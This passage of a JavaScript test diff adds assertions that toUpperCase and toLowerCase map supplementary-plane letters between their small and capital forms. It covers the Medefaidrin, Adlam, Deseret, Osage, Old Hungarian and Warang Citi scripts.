+assertEq(String.fromCodePoint(0x16E7F).toUpperCase().codePointAt(0), 0x16E5F); // MEDEFAIDRIN SMALL LETTER Y, MEDEFAIDRIN CAPITAL LETTER Y
+assertEq(String.fromCodePoint(0x1E922).toUpperCase().codePointAt(0), 0x1E900); // ADLAM SMALL LETTER ALIF, ADLAM CAPITAL LETTER ALIF
+assertEq(String.fromCodePoint(0x1E923).toUpperCase().codePointAt(0), 0x1E901); // ADLAM SMALL LETTER DAALI, ADLAM CAPITAL LETTER DAALI
+assertEq(String.fromCodePoint(0x1E924).toUpperCase().codePointAt(0), 0x1E902); // ADLAM SMALL LETTER LAAM, ADLAM CAPITAL LETTER LAAM
+assertEq(String.fromCodePoint(0x1E925).toUpperCase().codePointAt(0), 0x1E903); // ADLAM SMALL LETTER MIIM, ADLAM CAPITAL LETTER MIIM
+assertEq(String.fromCodePoint(0x1E926).toUpperCase().codePointAt(0), 0x1E904); // ADLAM SMALL LETTER BA, ADLAM CAPITAL LETTER BA
+assertEq(String.fromCodePoint(0x1E927).toUpperCase().codePointAt(0), 0x1E905); // ADLAM SMALL LETTER SINNYIIYHE, ADLAM CAPITAL LETTER SINNYIIYHE
+assertEq(String.fromCodePoint(0x1E928).toUpperCase().codePointAt(0), 0x1E906); // ADLAM SMALL LETTER PE, ADLAM CAPITAL LETTER PE
+assertEq(String.fromCodePoint(0x1E929).toUpperCase().codePointAt(0), 0x1E907); // ADLAM SMALL LETTER BHE, ADLAM CAPITAL LETTER BHE
+assertEq(String.fromCodePoint(0x1E92A).toUpperCase().codePointAt(0), 0x1E908); // ADLAM SMALL LETTER RA, ADLAM CAPITAL LETTER RA
+assertEq(String.fromCodePoint(0x1E92B).toUpperCase().codePointAt(0), 0x1E909); // ADLAM SMALL LETTER E, ADLAM CAPITAL LETTER E
+assertEq(String.fromCodePoint(0x1E92C).toUpperCase().codePointAt(0), 0x1E90A); // ADLAM SMALL LETTER FA, ADLAM CAPITAL LETTER FA
+assertEq(String.fromCodePoint(0x1E92D).toUpperCase().codePointAt(0), 0x1E90B); // ADLAM SMALL LETTER I, ADLAM CAPITAL LETTER I
+assertEq(String.fromCodePoint(0x1E92E).toUpperCase().codePointAt(0), 0x1E90C); // ADLAM SMALL LETTER O, ADLAM CAPITAL LETTER O
+assertEq(String.fromCodePoint(0x1E92F).toUpperCase().codePointAt(0), 0x1E90D); // ADLAM SMALL LETTER DHA, ADLAM CAPITAL LETTER DHA
+assertEq(String.fromCodePoint(0x1E930).toUpperCase().codePointAt(0), 0x1E90E); // ADLAM SMALL LETTER YHE, ADLAM CAPITAL LETTER YHE
+assertEq(String.fromCodePoint(0x1E931).toUpperCase().codePointAt(0), 0x1E90F); // ADLAM SMALL LETTER WAW, ADLAM CAPITAL LETTER WAW
+assertEq(String.fromCodePoint(0x1E932).toUpperCase().codePointAt(0), 0x1E910); // ADLAM SMALL LETTER NUN, ADLAM CAPITAL LETTER NUN
+assertEq(String.fromCodePoint(0x1E933).toUpperCase().codePointAt(0), 0x1E911); // ADLAM SMALL LETTER KAF, ADLAM CAPITAL LETTER KAF
+assertEq(String.fromCodePoint(0x1E934).toUpperCase().codePointAt(0), 0x1E912); // ADLAM SMALL LETTER YA, ADLAM CAPITAL LETTER YA
+assertEq(String.fromCodePoint(0x1E935).toUpperCase().codePointAt(0), 0x1E913); // ADLAM SMALL LETTER U, ADLAM CAPITAL LETTER U
+assertEq(String.fromCodePoint(0x1E936).toUpperCase().codePointAt(0), 0x1E914); // ADLAM SMALL LETTER JIIM, ADLAM CAPITAL LETTER JIIM
+assertEq(String.fromCodePoint(0x1E937).toUpperCase().codePointAt(0), 0x1E915); // ADLAM SMALL LETTER CHI, ADLAM CAPITAL LETTER CHI
+assertEq(String.fromCodePoint(0x1E938).toUpperCase().codePointAt(0), 0x1E916); // ADLAM SMALL LETTER HA, ADLAM CAPITAL LETTER HA
+assertEq(String.fromCodePoint(0x1E939).toUpperCase().codePointAt(0), 0x1E917); // ADLAM SMALL LETTER QAAF, ADLAM CAPITAL LETTER QAAF
+assertEq(String.fromCodePoint(0x1E93A).toUpperCase().codePointAt(0), 0x1E918); // ADLAM SMALL LETTER GA, ADLAM CAPITAL LETTER GA
+assertEq(String.fromCodePoint(0x1E93B).toUpperCase().codePointAt(0), 0x1E919); // ADLAM SMALL LETTER NYA, ADLAM CAPITAL LETTER NYA
+assertEq(String.fromCodePoint(0x1E93C).toUpperCase().codePointAt(0), 0x1E91A); // ADLAM SMALL LETTER TU, ADLAM CAPITAL LETTER TU
+assertEq(String.fromCodePoint(0x1E93D).toUpperCase().codePointAt(0), 0x1E91B); // ADLAM SMALL LETTER NHA, ADLAM CAPITAL LETTER NHA
+assertEq(String.fromCodePoint(0x1E93E).toUpperCase().codePointAt(0), 0x1E91C); // ADLAM SMALL LETTER VA, ADLAM CAPITAL LETTER VA
+assertEq(String.fromCodePoint(0x1E93F).toUpperCase().codePointAt(0), 0x1E91D); // ADLAM SMALL LETTER KHA, ADLAM CAPITAL LETTER KHA
+assertEq(String.fromCodePoint(0x1E940).toUpperCase().codePointAt(0), 0x1E91E); // ADLAM SMALL LETTER GBE, ADLAM CAPITAL LETTER GBE
+assertEq(String.fromCodePoint(0x1E941).toUpperCase().codePointAt(0), 0x1E91F); // ADLAM SMALL LETTER ZAL, ADLAM CAPITAL LETTER ZAL
+assertEq(String.fromCodePoint(0x1E942).toUpperCase().codePointAt(0), 0x1E920); // ADLAM SMALL LETTER KPO, ADLAM CAPITAL LETTER KPO
+assertEq(String.fromCodePoint(0x1E943).toUpperCase().codePointAt(0), 0x1E921); // ADLAM SMALL LETTER SHA, ADLAM CAPITAL LETTER SHA
+assertEq(String.fromCodePoint(0x10400).toLowerCase().codePointAt(0), 0x10428); // DESERET CAPITAL LETTER LONG I, DESERET SMALL LETTER LONG I
+assertEq(String.fromCodePoint(0x10401).toLowerCase().codePointAt(0), 0x10429); // DESERET CAPITAL LETTER LONG E, DESERET SMALL LETTER LONG E
+assertEq(String.fromCodePoint(0x10402).toLowerCase().codePointAt(0), 0x1042A); // DESERET CAPITAL LETTER LONG A, DESERET SMALL LETTER LONG A
+assertEq(String.fromCodePoint(0x10403).toLowerCase().codePointAt(0), 0x1042B); // DESERET CAPITAL LETTER LONG AH, DESERET SMALL LETTER LONG AH
+assertEq(String.fromCodePoint(0x10404).toLowerCase().codePointAt(0), 0x1042C); // DESERET CAPITAL LETTER LONG O, DESERET SMALL LETTER LONG O
+assertEq(String.fromCodePoint(0x10405).toLowerCase().codePointAt(0), 0x1042D); // DESERET CAPITAL LETTER LONG OO, DESERET SMALL LETTER LONG OO
+assertEq(String.fromCodePoint(0x10406).toLowerCase().codePointAt(0), 0x1042E); // DESERET CAPITAL LETTER SHORT I, DESERET SMALL LETTER SHORT I
+assertEq(String.fromCodePoint(0x10407).toLowerCase().codePointAt(0), 0x1042F); // DESERET CAPITAL LETTER SHORT E, DESERET SMALL LETTER SHORT E
+assertEq(String.fromCodePoint(0x10408).toLowerCase().codePointAt(0), 0x10430); // DESERET CAPITAL LETTER SHORT A, DESERET SMALL LETTER SHORT A
+assertEq(String.fromCodePoint(0x10409).toLowerCase().codePointAt(0), 0x10431); // DESERET CAPITAL LETTER SHORT AH, DESERET SMALL LETTER SHORT AH
+assertEq(String.fromCodePoint(0x1040A).toLowerCase().codePointAt(0), 0x10432); // DESERET CAPITAL LETTER SHORT O, DESERET SMALL LETTER SHORT O
+assertEq(String.fromCodePoint(0x1040B).toLowerCase().codePointAt(0), 0x10433); // DESERET CAPITAL LETTER SHORT OO, DESERET SMALL LETTER SHORT OO
+assertEq(String.fromCodePoint(0x1040C).toLowerCase().codePointAt(0), 0x10434); // DESERET CAPITAL LETTER AY, DESERET SMALL LETTER AY
+assertEq(String.fromCodePoint(0x1040D).toLowerCase().codePointAt(0), 0x10435); // DESERET CAPITAL LETTER OW, DESERET SMALL LETTER OW
+assertEq(String.fromCodePoint(0x1040E).toLowerCase().codePointAt(0), 0x10436); // DESERET CAPITAL LETTER WU, DESERET SMALL LETTER WU
+assertEq(String.fromCodePoint(0x1040F).toLowerCase().codePointAt(0), 0x10437); // DESERET CAPITAL LETTER YEE, DESERET SMALL LETTER YEE
+assertEq(String.fromCodePoint(0x10410).toLowerCase().codePointAt(0), 0x10438); // DESERET CAPITAL LETTER H, DESERET SMALL LETTER H
+assertEq(String.fromCodePoint(0x10411).toLowerCase().codePointAt(0), 0x10439); // DESERET CAPITAL LETTER PEE, DESERET SMALL LETTER PEE
+assertEq(String.fromCodePoint(0x10412).toLowerCase().codePointAt(0), 0x1043A); // DESERET CAPITAL LETTER BEE, DESERET SMALL LETTER BEE
+assertEq(String.fromCodePoint(0x10413).toLowerCase().codePointAt(0), 0x1043B); // DESERET CAPITAL LETTER TEE, DESERET SMALL LETTER TEE
+assertEq(String.fromCodePoint(0x10414).toLowerCase().codePointAt(0), 0x1043C); // DESERET CAPITAL LETTER DEE, DESERET SMALL LETTER DEE
+assertEq(String.fromCodePoint(0x10415).toLowerCase().codePointAt(0), 0x1043D); // DESERET CAPITAL LETTER CHEE, DESERET SMALL LETTER CHEE
+assertEq(String.fromCodePoint(0x10416).toLowerCase().codePointAt(0), 0x1043E); // DESERET CAPITAL LETTER JEE, DESERET SMALL LETTER JEE
+assertEq(String.fromCodePoint(0x10417).toLowerCase().codePointAt(0), 0x1043F); // DESERET CAPITAL LETTER KAY, DESERET SMALL LETTER KAY
+assertEq(String.fromCodePoint(0x10418).toLowerCase().codePointAt(0), 0x10440); // DESERET CAPITAL LETTER GAY, DESERET SMALL LETTER GAY
+assertEq(String.fromCodePoint(0x10419).toLowerCase().codePointAt(0), 0x10441); // DESERET CAPITAL LETTER EF, DESERET SMALL LETTER EF
+assertEq(String.fromCodePoint(0x1041A).toLowerCase().codePointAt(0), 0x10442); // DESERET CAPITAL LETTER VEE, DESERET SMALL LETTER VEE
+assertEq(String.fromCodePoint(0x1041B).toLowerCase().codePointAt(0), 0x10443); // DESERET CAPITAL LETTER ETH, DESERET SMALL LETTER ETH
+assertEq(String.fromCodePoint(0x1041C).toLowerCase().codePointAt(0), 0x10444); // DESERET CAPITAL LETTER THEE, DESERET SMALL LETTER THEE
+assertEq(String.fromCodePoint(0x1041D).toLowerCase().codePointAt(0), 0x10445); // DESERET CAPITAL LETTER ES, DESERET SMALL LETTER ES
+assertEq(String.fromCodePoint(0x1041E).toLowerCase().codePointAt(0), 0x10446); // DESERET CAPITAL LETTER ZEE, DESERET SMALL LETTER ZEE
+assertEq(String.fromCodePoint(0x1041F).toLowerCase().codePointAt(0), 0x10447); // DESERET CAPITAL LETTER ESH, DESERET SMALL LETTER ESH
+assertEq(String.fromCodePoint(0x10420).toLowerCase().codePointAt(0), 0x10448); // DESERET CAPITAL LETTER ZHEE, DESERET SMALL LETTER ZHEE
+assertEq(String.fromCodePoint(0x10421).toLowerCase().codePointAt(0), 0x10449); // DESERET CAPITAL LETTER ER, DESERET SMALL LETTER ER
+assertEq(String.fromCodePoint(0x10422).toLowerCase().codePointAt(0), 0x1044A); // DESERET CAPITAL LETTER EL, DESERET SMALL LETTER EL
+assertEq(String.fromCodePoint(0x10423).toLowerCase().codePointAt(0), 0x1044B); // DESERET CAPITAL LETTER EM, DESERET SMALL LETTER EM
+assertEq(String.fromCodePoint(0x10424).toLowerCase().codePointAt(0), 0x1044C); // DESERET CAPITAL LETTER EN, DESERET SMALL LETTER EN
+assertEq(String.fromCodePoint(0x10425).toLowerCase().codePointAt(0), 0x1044D); // DESERET CAPITAL LETTER ENG, DESERET SMALL LETTER ENG
+assertEq(String.fromCodePoint(0x10426).toLowerCase().codePointAt(0), 0x1044E); // DESERET CAPITAL LETTER OI, DESERET SMALL LETTER OI
+assertEq(String.fromCodePoint(0x10427).toLowerCase().codePointAt(0), 0x1044F); // DESERET CAPITAL LETTER EW, DESERET SMALL LETTER EW
+assertEq(String.fromCodePoint(0x104B0).toLowerCase().codePointAt(0), 0x104D8); // OSAGE CAPITAL LETTER A, OSAGE SMALL LETTER A
+assertEq(String.fromCodePoint(0x104B1).toLowerCase().codePointAt(0), 0x104D9); // OSAGE CAPITAL LETTER AI, OSAGE SMALL LETTER AI
+assertEq(String.fromCodePoint(0x104B2).toLowerCase().codePointAt(0), 0x104DA); // OSAGE CAPITAL LETTER AIN, OSAGE SMALL LETTER AIN
+assertEq(String.fromCodePoint(0x104B3).toLowerCase().codePointAt(0), 0x104DB); // OSAGE CAPITAL LETTER AH, OSAGE SMALL LETTER AH
+assertEq(String.fromCodePoint(0x104B4).toLowerCase().codePointAt(0), 0x104DC); // OSAGE CAPITAL LETTER BRA, OSAGE SMALL LETTER BRA
+assertEq(String.fromCodePoint(0x104B5).toLowerCase().codePointAt(0), 0x104DD); // OSAGE CAPITAL LETTER CHA, OSAGE SMALL LETTER CHA
+assertEq(String.fromCodePoint(0x104B6).toLowerCase().codePointAt(0), 0x104DE); // OSAGE CAPITAL LETTER EHCHA, OSAGE SMALL LETTER EHCHA
+assertEq(String.fromCodePoint(0x104B7).toLowerCase().codePointAt(0), 0x104DF); // OSAGE CAPITAL LETTER E, OSAGE SMALL LETTER E
+assertEq(String.fromCodePoint(0x104B8).toLowerCase().codePointAt(0), 0x104E0); // OSAGE CAPITAL LETTER EIN, OSAGE SMALL LETTER EIN
+assertEq(String.fromCodePoint(0x104B9).toLowerCase().codePointAt(0), 0x104E1); // OSAGE CAPITAL LETTER HA, OSAGE SMALL LETTER HA
+assertEq(String.fromCodePoint(0x104BA).toLowerCase().codePointAt(0), 0x104E2); // OSAGE CAPITAL LETTER HYA, OSAGE SMALL LETTER HYA
+assertEq(String.fromCodePoint(0x104BB).toLowerCase().codePointAt(0), 0x104E3); // OSAGE CAPITAL LETTER I, OSAGE SMALL LETTER I
+assertEq(String.fromCodePoint(0x104BC).toLowerCase().codePointAt(0), 0x104E4); // OSAGE CAPITAL LETTER KA, OSAGE SMALL LETTER KA
+assertEq(String.fromCodePoint(0x104BD).toLowerCase().codePointAt(0), 0x104E5); // OSAGE CAPITAL LETTER EHKA, OSAGE SMALL LETTER EHKA
+assertEq(String.fromCodePoint(0x104BE).toLowerCase().codePointAt(0), 0x104E6); // OSAGE CAPITAL LETTER KYA, OSAGE SMALL LETTER KYA
+assertEq(String.fromCodePoint(0x104BF).toLowerCase().codePointAt(0), 0x104E7); // OSAGE CAPITAL LETTER LA, OSAGE SMALL LETTER LA
+assertEq(String.fromCodePoint(0x104C0).toLowerCase().codePointAt(0), 0x104E8); // OSAGE CAPITAL LETTER MA, OSAGE SMALL LETTER MA
+assertEq(String.fromCodePoint(0x104C1).toLowerCase().codePointAt(0), 0x104E9); // OSAGE CAPITAL LETTER NA, OSAGE SMALL LETTER NA
+assertEq(String.fromCodePoint(0x104C2).toLowerCase().codePointAt(0), 0x104EA); // OSAGE CAPITAL LETTER O, OSAGE SMALL LETTER O
+assertEq(String.fromCodePoint(0x104C3).toLowerCase().codePointAt(0), 0x104EB); // OSAGE CAPITAL LETTER OIN, OSAGE SMALL LETTER OIN
+assertEq(String.fromCodePoint(0x104C4).toLowerCase().codePointAt(0), 0x104EC); // OSAGE CAPITAL LETTER PA, OSAGE SMALL LETTER PA
+assertEq(String.fromCodePoint(0x104C5).toLowerCase().codePointAt(0), 0x104ED); // OSAGE CAPITAL LETTER EHPA, OSAGE SMALL LETTER EHPA
+assertEq(String.fromCodePoint(0x104C6).toLowerCase().codePointAt(0), 0x104EE); // OSAGE CAPITAL LETTER SA, OSAGE SMALL LETTER SA
+assertEq(String.fromCodePoint(0x104C7).toLowerCase().codePointAt(0), 0x104EF); // OSAGE CAPITAL LETTER SHA, OSAGE SMALL LETTER SHA
+assertEq(String.fromCodePoint(0x104C8).toLowerCase().codePointAt(0), 0x104F0); // OSAGE CAPITAL LETTER TA, OSAGE SMALL LETTER TA
+assertEq(String.fromCodePoint(0x104C9).toLowerCase().codePointAt(0), 0x104F1); // OSAGE CAPITAL LETTER EHTA, OSAGE SMALL LETTER EHTA
+assertEq(String.fromCodePoint(0x104CA).toLowerCase().codePointAt(0), 0x104F2); // OSAGE CAPITAL LETTER TSA, OSAGE SMALL LETTER TSA
+assertEq(String.fromCodePoint(0x104CB).toLowerCase().codePointAt(0), 0x104F3); // OSAGE CAPITAL LETTER EHTSA, OSAGE SMALL LETTER EHTSA
+assertEq(String.fromCodePoint(0x104CC).toLowerCase().codePointAt(0), 0x104F4); // OSAGE CAPITAL LETTER TSHA, OSAGE SMALL LETTER TSHA
+assertEq(String.fromCodePoint(0x104CD).toLowerCase().codePointAt(0), 0x104F5); // OSAGE CAPITAL LETTER DHA, OSAGE SMALL LETTER DHA
+assertEq(String.fromCodePoint(0x104CE).toLowerCase().codePointAt(0), 0x104F6); // OSAGE CAPITAL LETTER U, OSAGE SMALL LETTER U
+assertEq(String.fromCodePoint(0x104CF).toLowerCase().codePointAt(0), 0x104F7); // OSAGE CAPITAL LETTER WA, OSAGE SMALL LETTER WA
+assertEq(String.fromCodePoint(0x104D0).toLowerCase().codePointAt(0), 0x104F8); // OSAGE CAPITAL LETTER KHA, OSAGE SMALL LETTER KHA
+assertEq(String.fromCodePoint(0x104D1).toLowerCase().codePointAt(0), 0x104F9); // OSAGE CAPITAL LETTER GHA, OSAGE SMALL LETTER GHA
+assertEq(String.fromCodePoint(0x104D2).toLowerCase().codePointAt(0), 0x104FA); // OSAGE CAPITAL LETTER ZA, OSAGE SMALL LETTER ZA
+assertEq(String.fromCodePoint(0x104D3).toLowerCase().codePointAt(0), 0x104FB); // OSAGE CAPITAL LETTER ZHA, OSAGE SMALL LETTER ZHA
+assertEq(String.fromCodePoint(0x10C80).toLowerCase().codePointAt(0), 0x10CC0); // OLD HUNGARIAN CAPITAL LETTER A, OLD HUNGARIAN SMALL LETTER A
+assertEq(String.fromCodePoint(0x10C81).toLowerCase().codePointAt(0), 0x10CC1); // OLD HUNGARIAN CAPITAL LETTER AA, OLD HUNGARIAN SMALL LETTER AA
+assertEq(String.fromCodePoint(0x10C82).toLowerCase().codePointAt(0), 0x10CC2); // OLD HUNGARIAN CAPITAL LETTER EB, OLD HUNGARIAN SMALL LETTER EB
+assertEq(String.fromCodePoint(0x10C83).toLowerCase().codePointAt(0), 0x10CC3); // OLD HUNGARIAN CAPITAL LETTER AMB, OLD HUNGARIAN SMALL LETTER AMB
+assertEq(String.fromCodePoint(0x10C84).toLowerCase().codePointAt(0), 0x10CC4); // OLD HUNGARIAN CAPITAL LETTER EC, OLD HUNGARIAN SMALL LETTER EC
+assertEq(String.fromCodePoint(0x10C85).toLowerCase().codePointAt(0), 0x10CC5); // OLD HUNGARIAN CAPITAL LETTER ENC, OLD HUNGARIAN SMALL LETTER ENC
+assertEq(String.fromCodePoint(0x10C86).toLowerCase().codePointAt(0), 0x10CC6); // OLD HUNGARIAN CAPITAL LETTER ECS, OLD HUNGARIAN SMALL LETTER ECS
+assertEq(String.fromCodePoint(0x10C87).toLowerCase().codePointAt(0), 0x10CC7); // OLD HUNGARIAN CAPITAL LETTER ED, OLD HUNGARIAN SMALL LETTER ED
+assertEq(String.fromCodePoint(0x10C88).toLowerCase().codePointAt(0), 0x10CC8); // OLD HUNGARIAN CAPITAL LETTER AND, OLD HUNGARIAN SMALL LETTER AND
+assertEq(String.fromCodePoint(0x10C89).toLowerCase().codePointAt(0), 0x10CC9); // OLD HUNGARIAN CAPITAL LETTER E, OLD HUNGARIAN SMALL LETTER E
+assertEq(String.fromCodePoint(0x10C8A).toLowerCase().codePointAt(0), 0x10CCA); // OLD HUNGARIAN CAPITAL LETTER CLOSE E, OLD HUNGARIAN SMALL LETTER CLOSE E
+assertEq(String.fromCodePoint(0x10C8B).toLowerCase().codePointAt(0), 0x10CCB); // OLD HUNGARIAN CAPITAL LETTER EE, OLD HUNGARIAN SMALL LETTER EE
+assertEq(String.fromCodePoint(0x10C8C).toLowerCase().codePointAt(0), 0x10CCC); // OLD HUNGARIAN CAPITAL LETTER EF, OLD HUNGARIAN SMALL LETTER EF
+assertEq(String.fromCodePoint(0x10C8D).toLowerCase().codePointAt(0), 0x10CCD); // OLD HUNGARIAN CAPITAL LETTER EG, OLD HUNGARIAN SMALL LETTER EG
+assertEq(String.fromCodePoint(0x10C8E).toLowerCase().codePointAt(0), 0x10CCE); // OLD HUNGARIAN CAPITAL LETTER EGY, OLD HUNGARIAN SMALL LETTER EGY
+assertEq(String.fromCodePoint(0x10C8F).toLowerCase().codePointAt(0), 0x10CCF); // OLD HUNGARIAN CAPITAL LETTER EH, OLD HUNGARIAN SMALL LETTER EH
+assertEq(String.fromCodePoint(0x10C90).toLowerCase().codePointAt(0), 0x10CD0); // OLD HUNGARIAN CAPITAL LETTER I, OLD HUNGARIAN SMALL LETTER I
+assertEq(String.fromCodePoint(0x10C91).toLowerCase().codePointAt(0), 0x10CD1); // OLD HUNGARIAN CAPITAL LETTER II, OLD HUNGARIAN SMALL LETTER II
+assertEq(String.fromCodePoint(0x10C92).toLowerCase().codePointAt(0), 0x10CD2); // OLD HUNGARIAN CAPITAL LETTER EJ, OLD HUNGARIAN SMALL LETTER EJ
+assertEq(String.fromCodePoint(0x10C93).toLowerCase().codePointAt(0), 0x10CD3); // OLD HUNGARIAN CAPITAL LETTER EK, OLD HUNGARIAN SMALL LETTER EK
+assertEq(String.fromCodePoint(0x10C94).toLowerCase().codePointAt(0), 0x10CD4); // OLD HUNGARIAN CAPITAL LETTER AK, OLD HUNGARIAN SMALL LETTER AK
+assertEq(String.fromCodePoint(0x10C95).toLowerCase().codePointAt(0), 0x10CD5); // OLD HUNGARIAN CAPITAL LETTER UNK, OLD HUNGARIAN SMALL LETTER UNK
+assertEq(String.fromCodePoint(0x10C96).toLowerCase().codePointAt(0), 0x10CD6); // OLD HUNGARIAN CAPITAL LETTER EL, OLD HUNGARIAN SMALL LETTER EL
+assertEq(String.fromCodePoint(0x10C97).toLowerCase().codePointAt(0), 0x10CD7); // OLD HUNGARIAN CAPITAL LETTER ELY, OLD HUNGARIAN SMALL LETTER ELY
+assertEq(String.fromCodePoint(0x10C98).toLowerCase().codePointAt(0), 0x10CD8); // OLD HUNGARIAN CAPITAL LETTER EM, OLD HUNGARIAN SMALL LETTER EM
+assertEq(String.fromCodePoint(0x10C99).toLowerCase().codePointAt(0), 0x10CD9); // OLD HUNGARIAN CAPITAL LETTER EN, OLD HUNGARIAN SMALL LETTER EN
+assertEq(String.fromCodePoint(0x10C9A).toLowerCase().codePointAt(0), 0x10CDA); // OLD HUNGARIAN CAPITAL LETTER ENY, OLD HUNGARIAN SMALL LETTER ENY
+assertEq(String.fromCodePoint(0x10C9B).toLowerCase().codePointAt(0), 0x10CDB); // OLD HUNGARIAN CAPITAL LETTER O, OLD HUNGARIAN SMALL LETTER O
+assertEq(String.fromCodePoint(0x10C9C).toLowerCase().codePointAt(0), 0x10CDC); // OLD HUNGARIAN CAPITAL LETTER OO, OLD HUNGARIAN SMALL LETTER OO
+assertEq(String.fromCodePoint(0x10C9D).toLowerCase().codePointAt(0), 0x10CDD); // OLD HUNGARIAN CAPITAL LETTER NIKOLSBURG OE, OLD HUNGARIAN SMALL LETTER NIKOLSBURG OE
+assertEq(String.fromCodePoint(0x10C9E).toLowerCase().codePointAt(0), 0x10CDE); // OLD HUNGARIAN CAPITAL LETTER RUDIMENTA OE, OLD HUNGARIAN SMALL LETTER RUDIMENTA OE
+assertEq(String.fromCodePoint(0x10C9F).toLowerCase().codePointAt(0), 0x10CDF); // OLD HUNGARIAN CAPITAL LETTER OEE, OLD HUNGARIAN SMALL LETTER OEE
+assertEq(String.fromCodePoint(0x10CA0).toLowerCase().codePointAt(0), 0x10CE0); // OLD HUNGARIAN CAPITAL LETTER EP, OLD HUNGARIAN SMALL LETTER EP
+assertEq(String.fromCodePoint(0x10CA1).toLowerCase().codePointAt(0), 0x10CE1); // OLD HUNGARIAN CAPITAL LETTER EMP, OLD HUNGARIAN SMALL LETTER EMP
+assertEq(String.fromCodePoint(0x10CA2).toLowerCase().codePointAt(0), 0x10CE2); // OLD HUNGARIAN CAPITAL LETTER ER, OLD HUNGARIAN SMALL LETTER ER
+assertEq(String.fromCodePoint(0x10CA3).toLowerCase().codePointAt(0), 0x10CE3); // OLD HUNGARIAN CAPITAL LETTER SHORT ER, OLD HUNGARIAN SMALL LETTER SHORT ER
+assertEq(String.fromCodePoint(0x10CA4).toLowerCase().codePointAt(0), 0x10CE4); // OLD HUNGARIAN CAPITAL LETTER ES, OLD HUNGARIAN SMALL LETTER ES
+assertEq(String.fromCodePoint(0x10CA5).toLowerCase().codePointAt(0), 0x10CE5); // OLD HUNGARIAN CAPITAL LETTER ESZ, OLD HUNGARIAN SMALL LETTER ESZ
+assertEq(String.fromCodePoint(0x10CA6).toLowerCase().codePointAt(0), 0x10CE6); // OLD HUNGARIAN CAPITAL LETTER ET, OLD HUNGARIAN SMALL LETTER ET
+assertEq(String.fromCodePoint(0x10CA7).toLowerCase().codePointAt(0), 0x10CE7); // OLD HUNGARIAN CAPITAL LETTER ENT, OLD HUNGARIAN SMALL LETTER ENT
+assertEq(String.fromCodePoint(0x10CA8).toLowerCase().codePointAt(0), 0x10CE8); // OLD HUNGARIAN CAPITAL LETTER ETY, OLD HUNGARIAN SMALL LETTER ETY
+assertEq(String.fromCodePoint(0x10CA9).toLowerCase().codePointAt(0), 0x10CE9); // OLD HUNGARIAN CAPITAL LETTER ECH, OLD HUNGARIAN SMALL LETTER ECH
+assertEq(String.fromCodePoint(0x10CAA).toLowerCase().codePointAt(0), 0x10CEA); // OLD HUNGARIAN CAPITAL LETTER U, OLD HUNGARIAN SMALL LETTER U
+assertEq(String.fromCodePoint(0x10CAB).toLowerCase().codePointAt(0), 0x10CEB); // OLD HUNGARIAN CAPITAL LETTER UU, OLD HUNGARIAN SMALL LETTER UU
+assertEq(String.fromCodePoint(0x10CAC).toLowerCase().codePointAt(0), 0x10CEC); // OLD HUNGARIAN CAPITAL LETTER NIKOLSBURG UE, OLD HUNGARIAN SMALL LETTER NIKOLSBURG UE
+assertEq(String.fromCodePoint(0x10CAD).toLowerCase().codePointAt(0), 0x10CED); // OLD HUNGARIAN CAPITAL LETTER RUDIMENTA UE, OLD HUNGARIAN SMALL LETTER RUDIMENTA UE
+assertEq(String.fromCodePoint(0x10CAE).toLowerCase().codePointAt(0), 0x10CEE); // OLD HUNGARIAN CAPITAL LETTER EV, OLD HUNGARIAN SMALL LETTER EV
+assertEq(String.fromCodePoint(0x10CAF).toLowerCase().codePointAt(0), 0x10CEF); // OLD HUNGARIAN CAPITAL LETTER EZ, OLD HUNGARIAN SMALL LETTER EZ
+assertEq(String.fromCodePoint(0x10CB0).toLowerCase().codePointAt(0), 0x10CF0); // OLD HUNGARIAN CAPITAL LETTER EZS, OLD HUNGARIAN SMALL LETTER EZS
+assertEq(String.fromCodePoint(0x10CB1).toLowerCase().codePointAt(0), 0x10CF1); // OLD HUNGARIAN CAPITAL LETTER ENT-SHAPED SIGN, OLD HUNGARIAN SMALL LETTER ENT-SHAPED SIGN
+assertEq(String.fromCodePoint(0x10CB2).toLowerCase().codePointAt(0), 0x10CF2); // OLD HUNGARIAN CAPITAL LETTER US, OLD HUNGARIAN SMALL LETTER US
+assertEq(String.fromCodePoint(0x118A0).toLowerCase().codePointAt(0), 0x118C0); // WARANG CITI CAPITAL LETTER NGAA, WARANG CITI SMALL LETTER NGAA
+assertEq(String.fromCodePoint(0x118A1).toLowerCase().codePointAt(0), 0x118C1); // WARANG CITI CAPITAL LETTER A, WARANG CITI SMALL LETTER A
+assertEq(String.fromCodePoint(0x118A2).toLowerCase().codePointAt(0), 0x118C2); // WARANG CITI CAPITAL LETTER WI, WARANG CITI SMALL LETTER WI
+assertEq(String.fromCodePoint(0x118A3).toLowerCase().codePointAt(0), 0x118C3); // WARANG CITI CAPITAL LETTER YU, WARANG CITI SMALL LETTER YU
+assertEq(String.fromCodePoint(0x118A4).toLowerCase().codePointAt(0), 0x118C4); // WARANG CITI CAPITAL LETTER YA, WARANG CITI SMALL LETTER YA
+assertEq(String.fromCodePoint(0x118A5).toLowerCase().codePointAt(0), 0x118C5); // WARANG CITI CAPITAL LETTER YO, WARANG CITI SMALL LETTER YO
+assertEq(String.fromCodePoint(0x118A6).toLowerCase().codePointAt(0), 0x118C6); // WARANG CITI CAPITAL LETTER II, WARANG CITI SMALL LETTER II
+assertEq(String.fromCodePoint(0x118A7).toLowerCase().codePointAt(0), 0x118C7); // WARANG CITI CAPITAL LETTER UU, WARANG CITI SMALL LETTER UU
+assertEq(String.fromCodePoint(0x118A8).toLowerCase().codePointAt(0), 0x118C8); // WARANG CITI CAPITAL LETTER E, WARANG CITI SMALL LETTER E
+assertEq(String.fromCodePoint(0x118A9).toLowerCase().codePointAt(0), 0x118C9); // WARANG CITI CAPITAL LETTER O, WARANG CITI SMALL LETTER O
+assertEq(String.fromCodePoint(0x118AA).toLowerCase().codePointAt(0), 0x118CA); // WARANG CITI CAPITAL LETTER ANG, WARANG CITI SMALL LETTER ANG
+assertEq(String.fromCodePoint(0x118AB).toLowerCase().codePointAt(0), 0x118CB); // WARANG CITI CAPITAL LETTER GA, WARANG CITI SMALL LETTER GA
+assertEq(String.fromCodePoint(0x118AC).toLowerCase().codePointAt(0), 0x118CC); // WARANG CITI CAPITAL LETTER KO, WARANG CITI SMALL LETTER KO
+assertEq(String.fromCodePoint(0x118AD).toLowerCase().codePointAt(0), 0x118CD); // WARANG CITI CAPITAL LETTER ENY, WARANG CITI SMALL LETTER ENY
+assertEq(String.fromCodePoint(0x118AE).toLowerCase().codePointAt(0), 0x118CE); // WARANG CITI CAPITAL LETTER YUJ, WARANG CITI SMALL LETTER YUJ
